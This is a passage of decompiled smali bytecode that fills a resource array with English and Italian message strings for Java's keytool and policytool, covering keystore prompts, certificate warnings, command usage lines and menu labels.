                                                                              1072aput-object v3, v2, v5
                                                                              1073aput-object v2, v0, v1
                                                                              1074const/16 v1, 0x77
                                                                              1075new-array v2, v6, [Ljava/lang/Object;
                                                                              1077const-string v3, "What is the name of your State or Province?"
                                                                              1078aput-object v3, v2, v4
                                                                              1080const-string v3, "Specificare la provincia"
                                                                              1081aput-object v3, v2, v5
                                                                              1082aput-object v2, v0, v1
                                                                              1083const/16 v1, 0x78
                                                                              1084new-array v2, v6, [Ljava/lang/Object;
                                                                              1086const-string v3, "What is the two-letter country code for this unit?"
                                                                              1087aput-object v3, v2, v4
                                                                              1089const-string v3, "Specificare il codice a due lettere del paese in cui si trova l\'unit\u00e0"
                                                                              1090aput-object v3, v2, v5
                                                                              1091aput-object v2, v0, v1
                                                                              1092const/16 v1, 0x79
                                                                              1093new-array v2, v6, [Ljava/lang/Object;
                                                                              1095const-string v3, "Is <name> correct?"
                                                                              1096aput-object v3, v2, v4
                                                                              1098const-string v3, "Il dato {0} \u00e8 corretto?"
                                                                              1099aput-object v3, v2, v5
                                                                              1100aput-object v2, v0, v1
                                                                              1101const/16 v1, 0x7a
                                                                              1102new-array v2, v6, [Ljava/lang/Object;
                                                                              1104const-string v3, "no"
                                                                              1105aput-object v3, v2, v4
                                                                              1107const-string v3, "no"
                                                                              1108aput-object v3, v2, v5
                                                                              1109aput-object v2, v0, v1
                                                                              1110const/16 v1, 0x7b
                                                                              1111new-array v2, v6, [Ljava/lang/Object;
                                                                              1113const-string v3, "yes"
                                                                              1114aput-object v3, v2, v4
                                                                              1116const-string v3, "s\u00ec"
                                                                              1117aput-object v3, v2, v5
                                                                              1118aput-object v2, v0, v1
                                                                              1119const/16 v1, 0x7c
                                                                              1120new-array v2, v6, [Ljava/lang/Object;
                                                                              1122const-string v3, "y"
                                                                              1123aput-object v3, v2, v4
                                                                              1125const-string v3, "s"
                                                                              1126aput-object v3, v2, v5
                                                                              1127aput-object v2, v0, v1
                                                                              1128const/16 v1, 0x7d
                                                                              1129new-array v2, v6, [Ljava/lang/Object;
                                                                              1131const-string v3, " [defaultValue]: "
                                                                              1132aput-object v3, v2, v4
                                                                              1134const-string v3, " [{0}]: "
                                                                              1135aput-object v3, v2, v5
                                                                              1136aput-object v2, v0, v1
                                                                              1137const/16 v1, 0x7e
                                                                              1138new-array v2, v6, [Ljava/lang/Object;
                                                                              1140const-string v3, "Alias <alias> has no key"
                                                                              1141aput-object v3, v2, v4
                                                                              1143const-string v3, "All\'alias <{0}> non \u00e8 associata alcuna chiave"
                                                                              1144aput-object v3, v2, v5
                                                                              1145aput-object v2, v0, v1
                                                                              1146const/16 v1, 0x7f
                                                                              1147new-array v2, v6, [Ljava/lang/Object;
                                                                              1149const-string v3, "Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries"
                                                                              1150aput-object v3, v2, v4
                                                                              1152const-string v3, "L\'alias <{0}> fa riferimento a un tipo di voce che non \u00e8 una voce di chiave privata. Il comando -keyclone supporta solo la duplicazione delle voci di chiave private."
                                                                              1153aput-object v3, v2, v5
                                                                              1154aput-object v2, v0, v1
                                                                              1155const/16 v1, 0x80
                                                                              1156new-array v2, v6, [Ljava/lang/Object;
                                                                              1158const-string v3, "***************** WARNING WARNING WARNING *****************"
                                                                              1159aput-object v3, v2, v4
                                                                              1161const-string v3, "***************** AVVISO AVVISO AVVISO *****************"
                                                                              1162aput-object v3, v2, v5
                                                                              1163aput-object v2, v0, v1
                                                                              1164const/16 v1, 0x81
                                                                              1165new-array v2, v6, [Ljava/lang/Object;
                                                                              1167const-string v3, "* The integrity of the information stored in your keystore *"
                                                                              1168aput-object v3, v2, v4
                                                                              1170const-string v3, "* L\'integrit\u00e0 delle informazioni memorizzate nel keystore *"
                                                                              1171aput-object v3, v2, v5
                                                                              1172aput-object v2, v0, v1
                                                                              1173const/16 v1, 0x82
                                                                              1174new-array v2, v6, [Ljava/lang/Object;
                                                                              1176const-string v3, "* The integrity of the information stored in the srckeystore*"
                                                                              1177aput-object v3, v2, v4
                                                                              1179const-string v3, "* L\'integrit\u00e0 delle informazioni salvate nel srckeystore*"
                                                                              1180aput-object v3, v2, v5
                                                                              1181aput-object v2, v0, v1
                                                                              1182const/16 v1, 0x83
                                                                              1183new-array v2, v6, [Ljava/lang/Object;
                                                                              1185const-string v3, "* has NOT been verified! In order to verify its integrity, *"
                                                                              1186aput-object v3, v2, v4
                                                                              1188const-string v3, "* NON \u00e8 stata verificata! A tale scopo \u00e8 necessario fornire *"
                                                                              1189aput-object v3, v2, v5
                                                                              1190aput-object v2, v0, v1
                                                                              1191const/16 v1, 0x84
                                                                              1192new-array v2, v6, [Ljava/lang/Object;
                                                                              1194const-string v3, "* you must provide your keystore password. *"
                                                                              1195aput-object v3, v2, v4
                                                                              1197const-string v3, "* la password del keystore. *"
                                                                              1198aput-object v3, v2, v5
                                                                              1199aput-object v2, v0, v1
                                                                              1200const/16 v1, 0x85
                                                                              1201new-array v2, v6, [Ljava/lang/Object;
                                                                              1203const-string v3, "* you must provide the srckeystore password. *"
                                                                              1204aput-object v3, v2, v4
                                                                              1206const-string v3, "* \u00c8 necessario fornire la password per il srckeystore. *"
                                                                              1207aput-object v3, v2, v5
                                                                              1208aput-object v2, v0, v1
                                                                              1209const/16 v1, 0x86
                                                                              1210new-array v2, v6, [Ljava/lang/Object;
                                                                              1212const-string v3, "Certificate reply does not contain public key for <alias>"
                                                                              1213aput-object v3, v2, v4
                                                                              1215const-string v3, "La risposta del certificato non contiene la chiave pubblica per <{0}>"
                                                                              1216aput-object v3, v2, v5
                                                                              1217aput-object v2, v0, v1
                                                                              1218const/16 v1, 0x87
                                                                              1219new-array v2, v6, [Ljava/lang/Object;
                                                                              1221const-string v3, "Incomplete certificate chain in reply"
                                                                              1222aput-object v3, v2, v4
                                                                              1224const-string v3, "Catena dei certificati incompleta nella risposta"
                                                                              1225aput-object v3, v2, v5
                                                                              1226aput-object v2, v0, v1
                                                                              1227const/16 v1, 0x88
                                                                              1228new-array v2, v6, [Ljava/lang/Object;
                                                                              1230const-string v3, "Certificate chain in reply does not verify: "
                                                                              1231aput-object v3, v2, v4
                                                                              1233const-string v3, "La catena dei certificati nella risposta non verifica: "
                                                                              1234aput-object v3, v2, v5
                                                                              1235aput-object v2, v0, v1
                                                                              1236const/16 v1, 0x89
                                                                              1237new-array v2, v6, [Ljava/lang/Object;
                                                                              1239const-string v3, "Top-level certificate in reply:\n"
                                                                              1240aput-object v3, v2, v4
                                                                              1242const-string v3, "Certificato di primo livello nella risposta:\n"
                                                                              1243aput-object v3, v2, v5
                                                                              1244aput-object v2, v0, v1
                                                                              1245const/16 v1, 0x8a
                                                                              1246new-array v2, v6, [Ljava/lang/Object;
                                                                              1248const-string v3, "... is not trusted. "
                                                                              1249aput-object v3, v2, v4
                                                                              1251const-string v3, "... non \u00e8 considerato attendibile. "
                                                                              1252aput-object v3, v2, v5
                                                                              1253aput-object v2, v0, v1
                                                                              1254const/16 v1, 0x8b
                                                                              1255new-array v2, v6, [Ljava/lang/Object;
                                                                              1257const-string v3, "Install reply anyway? [no]: "
                                                                              1258aput-object v3, v2, v4
                                                                              1260const-string v3, "Installare la risposta? [no]: "
                                                                              1261aput-object v3, v2, v5
                                                                              1262aput-object v2, v0, v1
                                                                              1263const/16 v1, 0x8c
                                                                              1264new-array v2, v6, [Ljava/lang/Object;
                                                                              1266const-string v3, "NO"
                                                                              1267aput-object v3, v2, v4
                                                                              1269const-string v3, "NO"
                                                                              1270aput-object v3, v2, v5
                                                                              1271aput-object v2, v0, v1
                                                                              1272const/16 v1, 0x8d
                                                                              1273new-array v2, v6, [Ljava/lang/Object;
                                                                              1275const-string v3, "Public keys in reply and keystore don\'t match"
                                                                              1276aput-object v3, v2, v4
                                                                              1278const-string v3, "Le chiavi pubbliche nella risposta e nel keystore non corrispondono"
                                                                              1279aput-object v3, v2, v5
                                                                              1280aput-object v2, v0, v1
                                                                              1281const/16 v1, 0x8e
                                                                              1282new-array v2, v6, [Ljava/lang/Object;
                                                                              1284const-string v3, "Certificate reply and certificate in keystore are identical"
                                                                              1285aput-object v3, v2, v4
                                                                              1287const-string v3, "La risposta del certificato e il certificato nel keystore sono identici"
                                                                              1288aput-object v3, v2, v5
                                                                              1289aput-object v2, v0, v1
                                                                              1290const/16 v1, 0x8f
                                                                              1291new-array v2, v6, [Ljava/lang/Object;
                                                                              1293const-string v3, "Failed to establish chain from reply"
                                                                              1294aput-object v3, v2, v4
                                                                              1296const-string v3, "Impossibile stabilire la catena dalla risposta"
                                                                              1297aput-object v3, v2, v5
                                                                              1298aput-object v2, v0, v1
                                                                              1299const/16 v1, 0x90
                                                                              1300new-array v2, v6, [Ljava/lang/Object;
                                                                              1302const-string v3, "n"
                                                                              1303aput-object v3, v2, v4
                                                                              1305const-string v3, "n"
                                                                              1306aput-object v3, v2, v5
                                                                              1307aput-object v2, v0, v1
                                                                              1308const/16 v1, 0x91
                                                                              1309new-array v2, v6, [Ljava/lang/Object;
                                                                              1311const-string v3, "Wrong answer, try again"
                                                                              1312aput-object v3, v2, v4
                                                                              1314const-string v3, "Risposta errata, riprovare"
                                                                              1315aput-object v3, v2, v5
                                                                              1316aput-object v2, v0, v1
                                                                              1317const/16 v1, 0x92
                                                                              1318new-array v2, v6, [Ljava/lang/Object;
                                                                              1320const-string v3, "Secret key not generated, alias <alias> already exists"
                                                                              1321aput-object v3, v2, v4
                                                                              1323const-string v3, "La chiave segreta non \u00e8 stata generata; l\'alias <{0}> esiste gi\u00e0"
                                                                              1324aput-object v3, v2, v5
                                                                              1325aput-object v2, v0, v1
                                                                              1326const/16 v1, 0x93
                                                                              1327new-array v2, v6, [Ljava/lang/Object;
                                                                              1329const-string v3, "Please provide -keysize for secret key generation"
                                                                              1330aput-object v3, v2, v4
                                                                              1332const-string v3, "Specificare il valore -keysize per la generazione della chiave segreta"
                                                                              1333aput-object v3, v2, v5
                                                                              1334aput-object v2, v0, v1
                                                                              1335const/16 v1, 0x94
                                                                              1336new-array v2, v6, [Ljava/lang/Object;
                                                                              1338const-string v3, "keytool usage:\n"
                                                                              1339aput-object v3, v2, v4
                                                                              1341const-string v3, "utilizzo keytool:\n"
                                                                              1342aput-object v3, v2, v5
                                                                              1343aput-object v2, v0, v1
                                                                              1344const/16 v1, 0x95
                                                                              1345new-array v2, v6, [Ljava/lang/Object;
                                                                              1347const-string v3, "Extensions: "
                                                                              1348aput-object v3, v2, v4
                                                                              1350const-string v3, "Estensioni: "
                                                                              1351aput-object v3, v2, v5
                                                                              1352aput-object v2, v0, v1
                                                                              1353const/16 v1, 0x96
                                                                              1354new-array v2, v6, [Ljava/lang/Object;
                                                                              1356const-string v3, "-certreq [-v] [-protected]"
                                                                              1357aput-object v3, v2, v4
                                                                              1359const-string v3, "-certreq [-v] [-protected]"
                                                                              1360aput-object v3, v2, v5
                                                                              1361aput-object v2, v0, v1
                                                                              1362const/16 v1, 0x97
                                                                              1363new-array v2, v6, [Ljava/lang/Object;
                                                                              1365const-string v3, "\t [-alias <alias>] [-sigalg <sigalg>]"
                                                                              1366aput-object v3, v2, v4
                                                                              1368const-string v3, "\t [-alias <alias>] [-sigalg <algfirma>]"
                                                                              1369aput-object v3, v2, v5
                                                                              1370aput-object v2, v0, v1
                                                                              1371const/16 v1, 0x98
                                                                              1372new-array v2, v6, [Ljava/lang/Object;
                                                                              1374const-string v3, "\t [-file <csr_file>] [-keypass <keypass>]"
                                                                              1375aput-object v3, v2, v4
                                                                              1377const-string v3, "\t [-file <file_csr>] [-keypass <keypass>]"
                                                                              1378aput-object v3, v2, v5
                                                                              1379aput-object v2, v0, v1
                                                                              1380const/16 v1, 0x99
                                                                              1381new-array v2, v6, [Ljava/lang/Object;
                                                                              1383const-string v3, "\t [-keystore <keystore>] [-storepass <storepass>]"
                                                                              1384aput-object v3, v2, v4
                                                                              1386const-string v3, "\t [-keystore <keystore>] [-storepass <storepass>]"
                                                                              1387aput-object v3, v2, v5
                                                                              1388aput-object v2, v0, v1
                                                                              1389const/16 v1, 0x9a
                                                                              1390new-array v2, v6, [Ljava/lang/Object;
                                                                              1392const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1393aput-object v3, v2, v4
                                                                              1395const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1396aput-object v3, v2, v5
                                                                              1397aput-object v2, v0, v1
                                                                              1398const/16 v1, 0x9b
                                                                              1399new-array v2, v6, [Ljava/lang/Object;
                                                                              1401const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1402aput-object v3, v2, v4
                                                                              1404const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1405aput-object v3, v2, v5
                                                                              1406aput-object v2, v0, v1
                                                                              1407const/16 v1, 0x9c
                                                                              1408new-array v2, v6, [Ljava/lang/Object;
                                                                              1410const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1411aput-object v3, v2, v4
                                                                              1413const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1414aput-object v3, v2, v5
                                                                              1415aput-object v2, v0, v1
                                                                              1416const/16 v1, 0x9d
                                                                              1417new-array v2, v6, [Ljava/lang/Object;
                                                                              1419const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1420aput-object v3, v2, v4
                                                                              1422const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1423aput-object v3, v2, v5
                                                                              1424aput-object v2, v0, v1
                                                                              1425const/16 v1, 0x9e
                                                                              1426new-array v2, v6, [Ljava/lang/Object;
                                                                              1428const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1429aput-object v3, v2, v4
                                                                              1431const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1432aput-object v3, v2, v5
                                                                              1433aput-object v2, v0, v1
                                                                              1434const/16 v1, 0x9f
                                                                              1435new-array v2, v6, [Ljava/lang/Object;
                                                                              1437const-string v3, "\t [-alias <alias>] [-file <cert_file>]"
                                                                              1438aput-object v3, v2, v4
                                                                              1440const-string v3, "\t [-alias <alias>] [-file <file_cert>]"
                                                                              1441aput-object v3, v2, v5
                                                                              1442aput-object v2, v0, v1
                                                                              1443const/16 v1, 0xa0
                                                                              1444new-array v2, v6, [Ljava/lang/Object;
                                                                              1446const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1447aput-object v3, v2, v4
                                                                              1449const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1450aput-object v3, v2, v5
                                                                              1451aput-object v2, v0, v1
                                                                              1452const/16 v1, 0xa1
                                                                              1453new-array v2, v6, [Ljava/lang/Object;
                                                                              1455const-string v3, "\t [-alias <alias>]"
                                                                              1456aput-object v3, v2, v4
                                                                              1458const-string v3, "\t [-alias <alias>]"
                                                                              1459aput-object v3, v2, v5
                                                                              1460aput-object v2, v0, v1
                                                                              1461const/16 v1, 0xa2
                                                                              1462new-array v2, v6, [Ljava/lang/Object;
                                                                              1464const-string v3, "\t [-keyalg <keyalg>] [-keysize <keysize>]"
                                                                              1465aput-object v3, v2, v4
                                                                              1467const-string v3, "\t [-keyalg <algchiave>] [-keysize <dimchiave>]"
                                                                              1468aput-object v3, v2, v5
                                                                              1469aput-object v2, v0, v1
                                                                              1470const/16 v1, 0xa3
                                                                              1471new-array v2, v6, [Ljava/lang/Object;
                                                                              1473const-string v3, "\t [-sigalg <sigalg>] [-dname <dname>]"
                                                                              1474aput-object v3, v2, v4
                                                                              1476const-string v3, "\t [-sigalg <algfirma>] [-dname <nomed>]"
                                                                              1477aput-object v3, v2, v5
                                                                              1478aput-object v2, v0, v1
                                                                              1479const/16 v1, 0xa4
                                                                              1480new-array v2, v6, [Ljava/lang/Object;
                                                                              1482const-string v3, "\t [-validity <valDays>] [-keypass <keypass>]"
                                                                              1483aput-object v3, v2, v4
                                                                              1485const-string v3, "\t [-validity <Giornival>] [-keypass <keypass>]"
                                                                              1486aput-object v3, v2, v5
                                                                              1487aput-object v2, v0, v1
                                                                              1488const/16 v1, 0xa5
                                                                              1489new-array v2, v6, [Ljava/lang/Object;
                                                                              1491const-string v3, "-genseckey [-v] [-protected]"
                                                                              1492aput-object v3, v2, v4
                                                                              1494const-string v3, "-genseckey [-v] [-protected]"
                                                                              1495aput-object v3, v2, v5
                                                                              1496aput-object v2, v0, v1
                                                                              1497const/16 v1, 0xa6
                                                                              1498new-array v2, v6, [Ljava/lang/Object;
                                                                              1500const-string v3, "-help"
                                                                              1501aput-object v3, v2, v4
                                                                              1503const-string v3, "-help"
                                                                              1504aput-object v3, v2, v5
                                                                              1505aput-object v2, v0, v1
                                                                              1506const/16 v1, 0xa7
                                                                              1507new-array v2, v6, [Ljava/lang/Object;
                                                                              1509const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1510aput-object v3, v2, v4
                                                                              1512const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1513aput-object v3, v2, v5
                                                                              1514aput-object v2, v0, v1
                                                                              1515const/16 v1, 0xa8
                                                                              1516new-array v2, v6, [Ljava/lang/Object;
                                                                              1518const-string v3, "\t [-alias <alias>]"
                                                                              1519aput-object v3, v2, v4
                                                                              1521const-string v3, "\t [-alias <alias>]"
                                                                              1522aput-object v3, v2, v5
                                                                              1523aput-object v2, v0, v1
                                                                              1524const/16 v1, 0xa9
                                                                              1525new-array v2, v6, [Ljava/lang/Object;
                                                                              1527const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1528aput-object v3, v2, v4
                                                                              1530const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1531aput-object v3, v2, v5
                                                                              1532aput-object v2, v0, v1
                                                                              1533const/16 v1, 0xaa
                                                                              1534new-array v2, v6, [Ljava/lang/Object;
                                                                              1536const-string v3, "\t [-file <cert_file>] [-keypass <keypass>]"
                                                                              1537aput-object v3, v2, v4
                                                                              1539const-string v3, "\t [-file <file_cert>] [-keypass <keypass>]"
                                                                              1540aput-object v3, v2, v5
                                                                              1541aput-object v2, v0, v1
                                                                              1542const/16 v1, 0xab
                                                                              1543new-array v2, v6, [Ljava/lang/Object;
                                                                              1545const-string v3, "-importkeystore [-v] "
                                                                              1546aput-object v3, v2, v4
                                                                              1548const-string v3, "-importkeystore [-v] "
                                                                              1549aput-object v3, v2, v5
                                                                              1550aput-object v2, v0, v1
                                                                              1551const/16 v1, 0xac
                                                                              1552new-array v2, v6, [Ljava/lang/Object;
                                                                              1554const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]"
                                                                              1555aput-object v3, v2, v4
                                                                              1557const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]"
                                                                              1558aput-object v3, v2, v5
                                                                              1559aput-object v2, v0, v1
                                                                              1560const/16 v1, 0xad
                                                                              1561new-array v2, v6, [Ljava/lang/Object;
                                                                              1563const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1564aput-object v3, v2, v4
                                                                              1566const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1567aput-object v3, v2, v5
                                                                              1568aput-object v2, v0, v1
                                                                              1569const/16 v1, 0xae
                                                                              1570new-array v2, v6, [Ljava/lang/Object;
                                                                              1572const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1573aput-object v3, v2, v4
                                                                              1575const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1576aput-object v3, v2, v5
                                                                              1577aput-object v2, v0, v1
                                                                              1578const/16 v1, 0xaf
                                                                              1579new-array v2, v6, [Ljava/lang/Object;
                                                                              1581const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1582aput-object v3, v2, v4
                                                                              1584const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1585aput-object v3, v2, v5
                                                                              1586aput-object v2, v0, v1
                                                                              1587const/16 v1, 0xb0
                                                                              1588new-array v2, v6, [Ljava/lang/Object;
                                                                              1590const-string v3, "\t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]"
                                                                              1591aput-object v3, v2, v4
                                                                              1593const-string v3, "\t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]"
                                                                              1594aput-object v3, v2, v5
                                                                              1595aput-object v2, v0, v1
                                                                              1596const/16 v1, 0xb1
                                                                              1597new-array v2, v6, [Ljava/lang/Object;
                                                                              1599const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1600aput-object v3, v2, v4
                                                                              1602const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1603aput-object v3, v2, v5
                                                                              1604aput-object v2, v0, v1
                                                                              1605const/16 v1, 0xb2
                                                                              1606new-array v2, v6, [Ljava/lang/Object;
                                                                              1608const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1609aput-object v3, v2, v4
                                                                              1611const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1612aput-object v3, v2, v5
                                                                              1613aput-object v2, v0, v1
                                                                              1614const/16 v1, 0xb3
                                                                              1615new-array v2, v6, [Ljava/lang/Object;
                                                                              1617const-string v3, "\t [-noprompt]"
                                                                              1618aput-object v3, v2, v4
                                                                              1620const-string v3, "\t [-noprompt]"
                                                                              1621aput-object v3, v2, v5
                                                                              1622aput-object v2, v0, v1
                                                                              1623const/16 v1, 0xb4
                                                                              1624new-array v2, v6, [Ljava/lang/Object;
                                                                              1626const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1627aput-object v3, v2, v4
                                                                              1629const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1630aput-object v3, v2, v5
                                                                              1631aput-object v2, v0, v1
                                                                              1632const/16 v1, 0xb5
                                                                              1633new-array v2, v6, [Ljava/lang/Object;
                                                                              1635const-string v3, "\t [-keypass <keypass>]"
                                                                              1636aput-object v3, v2, v4
                                                                              1638const-string v3, "\t [-keypass <keypass>]"
                                                                              1639aput-object v3, v2, v5
                                                                              1640aput-object v2, v0, v1
                                                                              1641const/16 v1, 0xb6
                                                                              1642new-array v2, v6, [Ljava/lang/Object;
                                                                              1644const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1645aput-object v3, v2, v4
                                                                              1647const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1648aput-object v3, v2, v5
                                                                              1649aput-object v2, v0, v1
                                                                              1650const/16 v1, 0xb7
                                                                              1651new-array v2, v6, [Ljava/lang/Object;
                                                                              1653const-string v3, "\t [-keypass <old_keypass>] [-new <new_keypass>]"
                                                                              1654aput-object v3, v2, v4
                                                                              1656const-string v3, "\t [-keypass <keypass_vecchio>] [-new <keypass_nuovo>]"
                                                                              1657aput-object v3, v2, v5
                                                                              1658aput-object v2, v0, v1
                                                                              1659const/16 v1, 0xb8
                                                                              1660new-array v2, v6, [Ljava/lang/Object;
                                                                              1662const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1663aput-object v3, v2, v4
                                                                              1665const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1666aput-object v3, v2, v5
                                                                              1667aput-object v2, v0, v1
                                                                              1668const/16 v1, 0xb9
                                                                              1669new-array v2, v6, [Ljava/lang/Object;
                                                                              1671const-string v3, "\t [-alias <alias>]"
                                                                              1672aput-object v3, v2, v4
                                                                              1674const-string v3, "\t [-alias <alias>]"
                                                                              1675aput-object v3, v2, v5
                                                                              1676aput-object v2, v0, v1
                                                                              1677const/16 v1, 0xba
                                                                              1678new-array v2, v6, [Ljava/lang/Object;
                                                                              1680const-string v3, "-printcert [-v] [-file <cert_file>]"
                                                                              1681aput-object v3, v2, v4
                                                                              1683const-string v3, "-printcert [-v] [-file <file_cert>]"
                                                                              1684aput-object v3, v2, v5
                                                                              1685aput-object v2, v0, v1
                                                                              1686const/16 v1, 0xbb
                                                                              1687new-array v2, v6, [Ljava/lang/Object;
                                                                              1689const-string v3, "\t [-alias <alias>]"
                                                                              1690aput-object v3, v2, v4
                                                                              1692const-string v3, "\t [-alias <alias>]"
                                                                              1693aput-object v3, v2, v5
                                                                              1694aput-object v2, v0, v1
                                                                              1695const/16 v1, 0xbc
                                                                              1696new-array v2, v6, [Ljava/lang/Object;
                                                                              1698const-string v3, "-storepasswd [-v] [-new <new_storepass>]"
                                                                              1699aput-object v3, v2, v4
                                                                              1701const-string v3, "-storepasswd [-v] [-new <storepass_nuovo>]"
                                                                              1702aput-object v3, v2, v5
                                                                              1703aput-object v2, v0, v1
                                                                              1704const/16 v1, 0xbd
                                                                              1705new-array v2, v6, [Ljava/lang/Object;
                                                                              1707const-string v3, "Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured."
                                                                              1708aput-object v3, v2, v4
                                                                              1710const-string v3, "Avviso: non esiste una chiave pubblica per l\'alias {0}. Verificare che il KeyStore sia configurato correttamente."
                                                                              1711aput-object v3, v2, v5
                                                                              1712aput-object v2, v0, v1
                                                                              1713const/16 v1, 0xbe
                                                                              1714new-array v2, v6, [Ljava/lang/Object;
                                                                              1716const-string v3, "Warning: Class not found: class"
                                                                              1717aput-object v3, v2, v4
                                                                              1719const-string v3, "Avviso: Classe non trovata: {0}"
                                                                              1720aput-object v3, v2, v5
                                                                              1721aput-object v2, v0, v1
                                                                              1722const/16 v1, 0xbf
                                                                              1723new-array v2, v6, [Ljava/lang/Object;
                                                                              1725const-string v3, "Warning: Invalid argument(s) for constructor: arg"
                                                                              1726aput-object v3, v2, v4
                                                                              1728const-string v3, "Avviso: argomento o argomenti non validi per il costruttore {0}"
                                                                              1729aput-object v3, v2, v5
                                                                              1730aput-object v2, v0, v1
                                                                              1731const/16 v1, 0xc0
                                                                              1732new-array v2, v6, [Ljava/lang/Object;
                                                                              1734const-string v3, "Illegal Principal Type: type"
                                                                              1735aput-object v3, v2, v4
                                                                              1737const-string v3, "Tipo principale non valido: {0}"
                                                                              1738aput-object v3, v2, v5
                                                                              1739aput-object v2, v0, v1
                                                                              1740const/16 v1, 0xc1
                                                                              1741new-array v2, v6, [Ljava/lang/Object;
                                                                              1743const-string v3, "Illegal option: option"
                                                                              1744aput-object v3, v2, v4
                                                                              1746const-string v3, "Opzione non valida: {0}"
                                                                              1747aput-object v3, v2, v5
                                                                              1748aput-object v2, v0, v1
                                                                              1749const/16 v1, 0xc2
                                                                              1750new-array v2, v6, [Ljava/lang/Object;
                                                                              1752const-string v3, "Usage: policytool [options]"
                                                                              1753aput-object v3, v2, v4
                                                                              1755const-string v3, "Utilizzo: policytool [opzioni]"
                                                                              1756aput-object v3, v2, v5
                                                                              1757aput-object v2, v0, v1
                                                                              1758const/16 v1, 0xc3
                                                                              1759new-array v2, v6, [Ljava/lang/Object;
                                                                              1761const-string v3, " [-file <file>] policy file location"
                                                                              1762aput-object v3, v2, v4
                                                                              1764const-string v3, " [-file <file>] posizione del policy file"
                                                                              1765aput-object v3, v2, v5
                                                                              1766aput-object v2, v0, v1
                                                                              1767const/16 v1, 0xc4
                                                                              1768new-array v2, v6, [Ljava/lang/Object;
                                                                              1770const-string v3, "New"
                                                                              1771aput-object v3, v2, v4
                                                                              1773const-string v3, "Nuovo"
                                                                              1774aput-object v3, v2, v5
                                                                              1775aput-object v2, v0, v1
                                                                              1776const/16 v1, 0xc5
                                                                              1777new-array v2, v6, [Ljava/lang/Object;
                                                                              1779const-string v3, "Open"
                                                                              1780aput-object v3, v2, v4
                                                                              1782const-string v3, "Apri"
                                                                              1783aput-object v3, v2, v5
                                                                              1784aput-object v2, v0, v1
                                                                              1785const/16 v1, 0xc6
                                                                              1786new-array v2, v6, [Ljava/lang/Object;
                                                                              1788const-string v3, "Save"
                                                                              1789aput-object v3, v2, v4
                                                                              1791const-string v3, "Salva"
                                                                              1792aput-object v3, v2, v5
                                                                              1793aput-object v2, v0, v1
                                                                              1794const/16 v1, 0xc7
                                                                              1795new-array v2, v6, [Ljava/lang/Object;
                                                                              1797const-string v3, "Save As"
                                                                              1798aput-object v3, v2, v4
                                                                              1800const-string v3, "Salva con nome"
                                                                              1801aput-object v3, v2, v5
                                                                              1802aput-object v2, v0, v1
                                                                              1803const/16 v1, 0xc8
                                                                              1804new-array v2, v6, [Ljava/lang/Object;
                                                                              1806const-string v3, "View Warning Log"
                                                                              1807aput-object v3, v2, v4
                                                                              1809const-string v3, "Visualizza registro avvisi"
                                                                              1810aput-object v3, v2, v5
                                                                              1811aput-object v2, v0, v1
                                                                              1812const/16 v1, 0xc9
                                                                              1813new-array v2, v6, [Ljava/lang/Object;
                                                                              1815const-string v3, "Exit"
                                                                              1816aput-object v3, v2, v4
                                                                              1818const-string v3, "Esci"
                                                                              1819aput-object v3, v2, v5
                                                                              1820aput-object v2, v0, v1
                                                                              1821const/16 v1, 0xca
                                                                              1822new-array v2, v6, [Ljava/lang/Object;
                                                                              1824const-string v3, "Add Policy Entry"
                                                                              1825aput-object v3, v2, v4
                                                                              1827const-string v3, "Aggiungi policy entry"
                                                                              1828aput-object v3, v2, v5
                                                                              1829aput-object v2, v0, v1
                                                                              1830const/16 v1, 0xcb
                                                                              1831new-array v2, v6, [Ljava/lang/Object;
                                                                              1833const-string v3, "Edit Policy Entry"
                                                                              1834aput-object v3, v2, v4
                                                                              1836const-string v3, "Modifica policy entry"
                                                                              1837aput-object v3, v2, v5
                                                                              1838aput-object v2, v0, v1
                                                                              1839const/16 v1, 0xcc
                                                                              1840new-array v2, v6, [Ljava/lang/Object;
                                                                              1842const-string v3, "Remove Policy Entry"
                                                                              1843aput-object v3, v2, v4
